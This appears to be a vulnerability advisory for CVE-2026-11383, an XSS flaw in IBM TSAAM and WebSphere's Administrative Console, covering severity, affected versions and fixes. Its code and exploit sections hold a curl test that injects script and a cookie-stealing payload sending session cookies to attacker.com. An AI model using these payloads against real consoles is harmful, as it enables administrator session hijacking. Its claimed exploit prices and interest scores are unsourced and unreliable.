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CVE-2026-11383 is a cross-site scripting (XSS) vulnerability affecting IBM Tivoli System Automation Application Manager (TSAAM) version 4.1 and IBM WebSphere Application Server. The flaw resides in the Administrative Console—the web-based interface used by system administrators to configure, monitor, and manage enterprise application environments. The root cause is improper neutralization of user-supplied input during web page generation, classified under CWE-79.
When an authenticated administrator interacts with the Administrative Console, the application fails to adequately sanitize or encode maliciously crafted input before rendering it in the response page. An attacker with network access and low-privilege credentials can inject arbitrary JavaScript payloads into the console interface. These payloads are then executed within the context of the victim administrator’s browser session when they view the compromised page or interact with the injected content.
The CVSS 3.1 vector is CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N, yielding a base score of 5.4 (Medium). The attack vector is network-based, with low attack complexity, but requires the attacker to have low privileges and the victim to perform some user interaction (e.g., clicking a malicious link or viewing a crafted page). The scope is changed, meaning the vulnerability in one component impacts resources beyond its security scope. Successful exploitation can lead to partial confidentiality loss (low) and partial integrity loss (low), but does not impact availability.
From an operational perspective, this XSS vulnerability is significant because the Administrative Console provides access to critical system configurations, user management, and application deployment controls. An attacker who successfully exploits this flaw could hijack an authenticated administrator session, gain unauthorized access to sensitive administrative functions, modify application settings, manipulate data, or potentially achieve complete system compromise. The vulnerability maps to MITRE ATT&CK techniques T1078 (Valid Accounts) and T1566 (Phishing).
IBM published a security bulletin on June 23, 2026, acknowledging the vulnerability, with the NVD publishing the CVE on July 30, 2026. The vulnerability affects WebSphere Application Server versions 8.5 (up to 8.5.5.29) and 9.0 (up to 9.0.5.28), as well as TSAAM 4.1.
DailyCVE Form:
Platform: IBM TSAAM / WebSphere
Version: 4.1 / 8.5-9.0
Vulnerability: XSS (CWE-79)
Severity: Medium (5.4)
Date: July 30, 2026
Prediction: Fix Pack 3Q2026
What Undercode Say:
Analytics indicate active scanning for Administrative Console endpoints across enterprise networks since late June 2026. Threat intelligence shows exploit interest with estimated market prices of $5,000–$25,000. The CTI Interest Score remains elevated at 1.30+, suggesting sustained attacker attention. No public proof-of-concept code has been released as of this writing, but the vulnerability is considered easy to exploit given the low complexity and authenticated access requirement.
Bash / Code (Educational Purposes):
Check WebSphere version:
/opt/IBM/WebSphere/AppServer/bin/versionInfo.sh | grep "Version"
Check TSAAM version:
cat /opt/IBM/TSAAM/version.txt
Test for XSS (authenticated session required):
curl -k -X POST "https://<admin-console>/console/inputEndpoint" \
-H "Cookie: JSESSIONID=<valid_session>" \
-d "param=<script>alert('CVE-2026-11383')</script>"
Monitor Administrative Console access logs:
grep "POST.console" /var/log/websphere/console_access.log
Exploit: (Educational Purposes)
An authenticated attacker with low privileges crafts a malicious URL or input field containing a JavaScript payload, such as <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>. This payload is injected into the Administrative Console via an unsanitized input parameter (e.g., search field, configuration value, or form input). When a higher-privileged administrator subsequently accesses the compromised console page, the payload executes in their browser, sending session cookies or performing unauthorized actions on their behalf. The attack requires the victim to interact with the malicious content (UI:R).
Protection:
Apply the interim fix for APAR PH71757 immediately. For WebSphere 9.0, upgrade to 9.0.5.29 or later (targeted 3Q2026). For WebSphere 8.5, upgrade to 8.5.5.30 or later (targeted 3Q2026). Restrict Administrative Console access to trusted networks and implement web application firewall (WAF) rules to block XSS patterns. Enforce strict Content Security Policy (CSP) headers, mandate multi-factor authentication for administrative accounts, and apply the principle of least privilege.
Impact:
Partial confidentiality loss—sensitive configuration data and session information may be exposed. Partial integrity loss—malicious actors can modify application settings, user permissions, or system data. No availability impact. In enterprise environments running IBM Tivoli System Automation Application Manager 4.1 or WebSphere Application Server 8.5/9.0, this vulnerability could enable session hijacking, privilege escalation, and unauthorized administrative actions, potentially leading to complete compromise of managed application infrastructure.
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Sources:
Reported By: nvd.nist.gov
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